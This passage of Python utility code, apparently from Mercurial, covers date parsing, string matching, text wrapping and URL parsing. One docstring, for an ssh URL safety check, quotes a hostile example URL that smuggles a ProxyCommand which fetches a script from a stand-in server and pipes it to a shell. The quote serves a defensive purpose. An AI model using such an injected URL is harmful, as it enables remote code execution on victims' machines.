         hint = _("check your clock")
         raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
     delta = (datetime.datetime.utcfromtimestamp(timestamp) -
              datetime.datetime.fromtimestamp(timestamp))
     tz = delta.days * 86400 + delta.seconds
     return timestamp, tz
 
 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
     """represent a (unixtime, offset) tuple as a localized time.
     unixtime is seconds since the epoch, and offset is the time zone's
     number of seconds away from UTC.
 
     >>> datestr((0, 0))
     'Thu Jan 01 00:00:00 1970 +0000'
     >>> datestr((42, 0))
     'Thu Jan 01 00:00:42 1970 +0000'
     >>> datestr((-42, 0))
     'Wed Dec 31 23:59:18 1969 +0000'
     >>> datestr((0x7fffffff, 0))
     'Tue Jan 19 03:14:07 2038 +0000'
     >>> datestr((-0x80000000, 0))
     'Fri Dec 13 20:45:52 1901 +0000'
     """
     t, tz = date or makedate()
     if "%1" in format or "%2" in format or "%z" in format:
         sign = (tz > 0) and "-" or "+"
         minutes = abs(tz) // 60
         q, r = divmod(minutes, 60)
         format = format.replace("%z", "%1%2")
         format = format.replace("%1", "%c%02d" % (sign, q))
         format = format.replace("%2", "%02d" % r)
     d = t - tz
     if d > 0x7fffffff:
         d = 0x7fffffff
     elif d < -0x80000000:
         d = -0x80000000
     # Never use time.gmtime() and datetime.datetime.fromtimestamp()
     # because they use the gmtime() system call which is buggy on Windows
     # for negative values.
     t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
     s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
     return s
 
 def shortdate(date=None):
     """turn (timestamp, tzoff) tuple into iso 8631 date."""
     return datestr(date, format='%Y-%m-%d')
 
 def parsetimezone(s):
     """find a trailing timezone, if any, in string, and return a
        (offset, remainder) pair"""
 
     if s.endswith("GMT") or s.endswith("UTC"):
         return 0, s[:-3].rstrip()
 
     # Unix-style timezones [+-]hhmm
     if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
         sign = (s[-5] == "+") and 1 or -1
         hours = int(s[-4:-2])
         minutes = int(s[-2:])
         return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
 
     # ISO8601 trailing Z
     if s.endswith("Z") and s[-2:-1].isdigit():
         return 0, s[:-1]
 
     # ISO8601-style [+-]hh:mm
     if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
         s[-5:-3].isdigit() and s[-2:].isdigit()):
         sign = (s[-6] == "+") and 1 or -1
         hours = int(s[-5:-3])
         minutes = int(s[-2:])
         return -sign * (hours * 60 + minutes) * 60, s[:-6]
 
     return None, s
 
 def strdate(string, format, defaults=None):
     """parse a localized time string and return a (unixtime, offset) tuple.
     if the string cannot be parsed, ValueError is raised."""
     if defaults is None:
         defaults = {}
 
     # NOTE: unixtime = localunixtime + offset
     offset, date = parsetimezone(string)
 
     # add missing elements from defaults
     usenow = False # default to using biased defaults
     for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
         part = pycompat.bytestr(part)
         found = [True for p in part if ("%"+p) in format]
         if not found:
             date += "@" + defaults[part][usenow]
             format += "@%" + part[0]
         else:
             # We've found a specific time element, less specific time
             # elements are relative to today
             usenow = True
 
     timetuple = time.strptime(encoding.strfromlocal(date),
                               encoding.strfromlocal(format))
     localunixtime = int(calendar.timegm(timetuple))
     if offset is None:
         # local timezone
         unixtime = int(time.mktime(timetuple))
         offset = unixtime - localunixtime
     else:
         unixtime = localunixtime + offset
     return unixtime, offset
 
 def parsedate(date, formats=None, bias=None):
     """parse a localized date/time and return a (unixtime, offset) tuple.
 
     The date may be a "unixtime offset" string or in one of the specified
     formats. If the date already is a (unixtime, offset) tuple, it is returned.
 
     >>> parsedate(b' today ') == parsedate(
     ...     datetime.date.today().strftime('%b %d').encode('ascii'))
     True
     >>> parsedate(b'yesterday ') == parsedate(
     ...     (datetime.date.today() - datetime.timedelta(days=1)
     ...      ).strftime('%b %d').encode('ascii'))
     True
     >>> now, tz = makedate()
     >>> strnow, strtz = parsedate(b'now')
     >>> (strnow - now) < 1
     True
     >>> tz == strtz
     True
     """
     if bias is None:
         bias = {}
     if not date:
         return 0, 0
     if isinstance(date, tuple) and len(date) == 2:
         return date
     if not formats:
         formats = defaultdateformats
     date = date.strip()
 
     if date == 'now' or date == _('now'):
         return makedate()
     if date == 'today' or date == _('today'):
         date = datetime.date.today().strftime(r'%b %d')
         date = encoding.strtolocal(date)
     elif date == 'yesterday' or date == _('yesterday'):
         date = (datetime.date.today() -
                 datetime.timedelta(days=1)).strftime(r'%b %d')
         date = encoding.strtolocal(date)
 
     try:
         when, offset = map(int, date.split(' '))
     except ValueError:
         # fill out defaults
         now = makedate()
         defaults = {}
         for part in ("d", "mb", "yY", "HI", "M", "S"):
             # this piece is for rounding the specific end of unknowns
             b = bias.get(part)
             if b is None:
                 if part[0:1] in "HMS":
                     b = "00"
                 else:
                     b = "0"
 
             # this piece is for matching the generic end to today's date
             n = datestr(now, "%" + part[0:1])
 
             defaults[part] = (b, n)
 
         for format in formats:
             try:
                 when, offset = strdate(date, format, defaults)
             except (ValueError, OverflowError):
                 pass
             else:
                 break
         else:
             raise error.ParseError(_('invalid date: %r') % date)
     # validate explicit (probably user-specified) date and
     # time zone offset. values must fit in signed 32 bits for
     # current 32-bit linux runtimes. timezones go from UTC-12
     # to UTC+14
     if when < -0x80000000 or when > 0x7fffffff:
         raise error.ParseError(_('date exceeds 32 bits: %d') % when)
     if offset < -50400 or offset > 43200:
         raise error.ParseError(_('impossible time zone offset: %d') % offset)
     return when, offset
 
 def matchdate(date):
     """Return a function that matches a given date match specifier
 
     Formats include:
 
     '{date}' match a given date to the accuracy provided
 
     '<{date}' on or before a given date
 
     '>{date}' on or after a given date
 
     >>> p1 = parsedate(b"10:29:59")
     >>> p2 = parsedate(b"10:30:00")
     >>> p3 = parsedate(b"10:30:59")
     >>> p4 = parsedate(b"10:31:00")
     >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
     >>> f = matchdate(b"10:30")
     >>> f(p1[0])
     False
     >>> f(p2[0])
     True
     >>> f(p3[0])
     True
     >>> f(p4[0])
     False
     >>> f(p5[0])
     False
     """
 
     def lower(date):
         d = {'mb': "1", 'd': "1"}
         return parsedate(date, extendeddateformats, d)[0]
 
     def upper(date):
         d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
         for days in ("31", "30", "29"):
             try:
                 d["d"] = days
                 return parsedate(date, extendeddateformats, d)[0]
             except Abort:
                 pass
         d["d"] = "28"
         return parsedate(date, extendeddateformats, d)[0]
 
     date = date.strip()
 
     if not date:
         raise Abort(_("dates cannot consist entirely of whitespace"))
     elif date[0] == "<":
         if not date[1:]:
             raise Abort(_("invalid day spec, use '<DATE'"))
         when = upper(date[1:])
         return lambda x: x <= when
     elif date[0] == ">":
         if not date[1:]:
             raise Abort(_("invalid day spec, use '>DATE'"))
         when = lower(date[1:])
         return lambda x: x >= when
     elif date[0] == "-":
         try:
             days = int(date[1:])
         except ValueError:
             raise Abort(_("invalid day spec: %s") % date[1:])
         if days < 0:
             raise Abort(_("%s must be nonnegative (see 'hg help dates')")
                 % date[1:])
         when = makedate()[0] - days * 3600 * 24
         return lambda x: x >= when
     elif " to " in date:
         a, b = date.split(" to ")
         start, stop = lower(a), upper(b)
         return lambda x: x >= start and x <= stop
     else:
         start, stop = lower(date), upper(date)
         return lambda x: x >= start and x <= stop
 
 def stringmatcher(pattern, casesensitive=True):
     """
     accepts a string, possibly starting with 're:' or 'literal:' prefix.
     returns the matcher name, pattern, and matcher function.
     missing or unknown prefixes are treated as literal matches.
 
     helper for tests:
     >>> def test(pattern, *tests):
     ...     kind, pattern, matcher = stringmatcher(pattern)
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
     >>> def itest(pattern, *tests):
     ...     kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
 
     exact matching (no prefix):
     >>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
     ('literal', 'abcdefg', [False, False, True])
 
     regex matching ('re:' prefix)
     >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
     ('re', 'a.+b', [False, False, True])
 
     force exact matches ('literal:' prefix)
     >>> test(b'literal:re:foobar', b'foobar', b're:foobar')
     ('literal', 're:foobar', [False, True])
 
     unknown prefixes are ignored and treated as literals
     >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
     ('literal', 'foo:bar', [False, False, True])
 
     case insensitive regex matches
     >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
     ('re', 'A.+b', [False, False, True])
 
     case insensitive literal matches
     >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
     ('literal', 'ABCDEFG', [False, False, True])
     """
     if pattern.startswith('re:'):
         pattern = pattern[3:]
         try:
             flags = 0
             if not casesensitive:
                 flags = remod.I
             regex = remod.compile(pattern, flags)
         except remod.error as e:
             raise error.ParseError(_('invalid regular expression: %s')
                                    % e)
         return 're', pattern, regex.search
     elif pattern.startswith('literal:'):
         pattern = pattern[8:]
 
     match = pattern.__eq__
 
     if not casesensitive:
         ipat = encoding.lower(pattern)
         match = lambda s: ipat == encoding.lower(s)
     return 'literal', pattern, match
 
 def shortuser(user):
     """Return a short representation of a user name or email address."""
     f = user.find('@')
     if f >= 0:
         user = user[:f]
     f = user.find('<')
     if f >= 0:
         user = user[f + 1:]
     f = user.find(' ')
     if f >= 0:
         user = user[:f]
     f = user.find('.')
     if f >= 0:
         user = user[:f]
     return user
 
 def emailuser(user):
     """Return the user portion of an email address."""
     f = user.find('@')
     if f >= 0:
         user = user[:f]
     f = user.find('<')
     if f >= 0:
         user = user[f + 1:]
     return user
 
 def email(author):
     '''get email of author.'''
     r = author.find('>')
     if r == -1:
         r = None
     return author[author.find('<') + 1:r]
 
 def ellipsis(text, maxlength=400):
     """Trim string to at most maxlength (default: 400) columns in display."""
     return encoding.trim(text, maxlength, ellipsis='...')
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_("line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_("fromline must be strictly positive"))
     return fromline - 1, toline
 
 bytecount = unitcountfn(
     (100, 1 << 30, _('%.0f GB')),
     (10, 1 << 30, _('%.1f GB')),
     (1, 1 << 30, _('%.2f GB')),
     (100, 1 << 20, _('%.0f MB')),
     (10, 1 << 20, _('%.1f MB')),
     (1, 1 << 20, _('%.2f MB')),
     (100, 1 << 10, _('%.0f KB')),
     (10, 1 << 10, _('%.1f KB')),
     (1, 1 << 10, _('%.2f KB')),
     (1, 1, _('%.0f bytes')),
     )
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 def tolf(s):
     return _eolre.sub('\n', s)
 
 def tocrlf(s):
     return _eolre.sub('\r\n', s)
 
 if pycompat.oslinesep == '\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
 
 def escapestr(s):
     # call underlying function of s.encode('string_escape') directly for
     # Python 3 compatibility
     return codecs.escape_encode(s)[0]
 
 def unescapestr(s):
     return codecs.escape_decode(s)[0]
 
 def forcebytestr(obj):
     """Portably format an arbitrary object (e.g. exception) into a byte
     string."""
     try:
         return pycompat.bytestr(obj)
     except UnicodeEncodeError:
         # non-ascii string, may be lossy
         return pycompat.bytestr(encoding.strtolocal(str(obj)))
 
 def uirepr(s):
     # Avoid double backslash in Windows path repr()
     return repr(s).replace('\\\\', '\\')
 
 # delay import of textwrap
 def MBTextWrapper(**kwargs):
     class tw(textwrap.TextWrapper):
         """
         Extend TextWrapper for width-awareness.
 
         Neither number of 'bytes' in any encoding nor 'characters' is
         appropriate to calculate terminal columns for specified string.
 
         Original TextWrapper implementation uses built-in 'len()' directly,
         so overriding is needed to use width information of each characters.
 
         In addition, characters classified into 'ambiguous' width are
         treated as wide in East Asian area, but as narrow in other.
 
         This requires use decision to determine width of such characters.
         """
         def _cutdown(self, ucstr, space_left):
             l = 0
             colwidth = encoding.ucolwidth
             for i in xrange(len(ucstr)):
                 l += colwidth(ucstr[i])
                 if space_left < l:
                     return (ucstr[:i], ucstr[i:])
             return ucstr, ''
 
         # overriding of base class
         def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
             space_left = max(width - cur_len, 1)
 
             if self.break_long_words:
                 cut, res = self._cutdown(reversed_chunks[-1], space_left)
                 cur_line.append(cut)
                 reversed_chunks[-1] = res
             elif not cur_line:
                 cur_line.append(reversed_chunks.pop())
 
         # this overriding code is imported from TextWrapper of Python 2.6
         # to calculate columns of string by 'encoding.ucolwidth()'
         def _wrap_chunks(self, chunks):
             colwidth = encoding.ucolwidth
 
             lines = []
             if self.width <= 0:
                 raise ValueError("invalid width %r (must be > 0)" % self.width)
 
             # Arrange in reverse order so items can be efficiently popped
             # from a stack of chucks.
             chunks.reverse()
 
             while chunks:
 
                 # Start the list of chunks that will make up the current line.
                 # cur_len is just the length of all the chunks in cur_line.
                 cur_line = []
                 cur_len = 0
 
                 # Figure out which static string will prefix this line.
                 if lines:
                     indent = self.subsequent_indent
                 else:
                     indent = self.initial_indent
 
                 # Maximum width for this line.
                 width = self.width - len(indent)
 
                 # First chunk on line is whitespace -- drop it, unless this
                 # is the very beginning of the text (i.e. no lines started yet).
                 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
                     del chunks[-1]
 
                 while chunks:
                     l = colwidth(chunks[-1])
 
                     # Can at least squeeze this chunk onto the current line.
                     if cur_len + l <= width:
                         cur_line.append(chunks.pop())
                         cur_len += l
 
                     # Nope, this line is full.
                     else:
                         break
 
                 # The current line is full, and the next chunk is too big to
                 # fit on *any* line (not just this one).
                 if chunks and colwidth(chunks[-1]) > width:
                     self._handle_long_word(chunks, cur_line, cur_len, width)
 
                 # If the last chunk on this line is all whitespace, drop it.
                 if (self.drop_whitespace and
                     cur_line and cur_line[-1].strip() == r''):
                     del cur_line[-1]
 
                 # Convert current line back to a string and store it in list
                 # of all lines (return value).
                 if cur_line:
                     lines.append(indent + r''.join(cur_line))
 
             return lines
 
     global MBTextWrapper
     MBTextWrapper = tw
     return tw(**kwargs)
 
 def wrap(line, width, initindent='', hangindent=''):
     maxindent = max(len(hangindent), len(initindent))
     if width <= maxindent:
         # adjust for weird terminal size
         width = max(78, maxindent + 1)
     line = line.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     wrapper = MBTextWrapper(width=width,
                             initial_indent=initindent,
                             subsequent_indent=hangindent)
     return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
 
 if (pyplatform.python_implementation() == 'CPython' and
     sys.version_info < (3, 0)):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, '')
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = ''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if '\n' in buf:
                     splitted = line.splitlines(True)
                     line = ''
                     for l in splitted:
                         if l[-1] == '\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 def hgcmd():
     """Return the command used to execute current hg
 
     This is different from hgexecutable() because on Windows we want
     to avoid things opening new shell windows like batch files, so we
     get either the python call or current executable.
     """
     if mainfrozen():
         if getattr(sys, 'frozen', None) == 'macosx_app':
             # Env variable set by py2app
             return [encoding.environ['EXECUTABLEPATH']]
         else:
             return [pycompat.sysexecutable]
     return gethgcmd()
 
 def rundetached(args, condfn):
     """Execute the argument list in a detached process.
 
     condfn is a callable which is called repeatedly and should return
     True once the child process is known to have started successfully.
     At this point, the child process PID is returned. If the child
     process fails to start or finishes before condfn() evaluates to
     True, return -1.
     """
     # Windows case is easier because the child process is either
     # successfully starting and validating the condition or exiting
     # on failure. We just poll on its PID. On Unix, if the child
     # process fails to start, it will be left in a zombie state until
     # the parent wait on it, which we cannot do since we expect a long
     # running process on success. Instead we listen for SIGCHLD telling
     # us our child process terminated.
     terminated = set()
     def handler(signum, frame):
         terminated.add(os.wait())
     prevhandler = None
     SIGCHLD = getattr(signal, 'SIGCHLD', None)
     if SIGCHLD is not None:
         prevhandler = signal.signal(SIGCHLD, handler)
     try:
         pid = spawndetached(args)
         while not condfn():
             if ((pid in terminated or not testpid(pid))
                 and not condfn()):
                 return -1
             time.sleep(0.1)
         return pid
     finally:
         if prevhandler is not None:
             signal.signal(signal.SIGCHLD, prevhandler)
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = '|'.join(mapping.keys())
     if escape_prefix:
         patterns += '|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(port)
     except socket.error:
         raise Abort(_("no port number associated with service '%s'") % port)
 
 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
              '0': False, 'no': False, 'false': False, 'off': False,
              'never': False}
 
 def parsebool(s):
     """Parse s into a boolean.
 
     If s is not a valid boolean, returns None.
     """
     return _booleans.get(s.lower(), None)
 
 _hextochr = dict((a + b, chr(int(a + b, 16)))
                  for a in string.hexdigits for b in string.hexdigits)
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = "!~*'()+"
     _safepchars = "/!~*'()+:\\"
     _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = ''
         self._origpath = path
 
         if parsefragment and '#' in path:
             path, self.fragment = path.split('#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith('\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith('bundle:'):
             self.scheme = 'bundle'
             path = path[7:]
             if path.startswith('//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = ''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and '?' in path:
                 path, self.query = path.split('?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith('//'):
                 parts = path[2:].split('/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = '/' + path
 
             if self.host and '@' in self.host:
                 self.user, self.host = self.host.rsplit('@', 1)
                 if ':' in self.user:
                     self.user, self.passwd = self.user.split(':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (self.host and ':' in self.host and
                 not (self.host.startswith('[') and self.host.endswith(']'))):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(':', 1)
                 if not self.host:
                     self.host = None
 
             if (self.host and self.scheme == 'file' and
                 self.host not in ('localhost', '127.0.0.1', '[::1]')):
                 raise Abort(_('file:// URLs can only refer to localhost'))
 
         self.path = path
 
         # leave the query string escaped
         for a in ('user', 'passwd', 'host', 'port',
                   'path', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
                   'query', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 attrs.append('%s: %r' % (a, v))
         return '<url %s>' % ', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == 'bundle':
                 s = 'bundle:' + s
             if self.fragment:
                 s += '#' + self.fragment
             return s
 
         s = self.scheme + ':'
         if self.user or self.passwd or self.host:
             s += '//'
         elif self.scheme and (not self.path or self.path.startswith('/')
                               or hasdriveletter(self.path)):
             s += '//'
             if hasdriveletter(self.path):
                 s += '/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += '@'
         if self.host:
             if not (self.host.startswith('[') and self.host.endswith(']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += ':' + urlreq.quote(self.port)
         if self.host:
             s += '/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += '?' + self.query
         if self.fragment is not None:
             s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host),
                     self.user, self.passwd or ''))
 
     def isabs(self):
         if self.scheme and self.scheme != 'file':
             return True # remote URL
         if hasdriveletter(self.path):
             return True # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True # Windows UNC path
         if self.path.startswith('/'):
             return True # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == 'file' or self.scheme == 'bundle':
             path = self.path or '/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + '/' + self.path
             elif (self.host is not None and self.path
                   and not hasdriveletter(path)):
                 path = '/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (not self.scheme or self.scheme == 'file'
                 or self.scheme == 'bundle')
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 def hasdriveletter(path):
     return path and path[1:2] == ':' and path[0:1].isalpha()
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
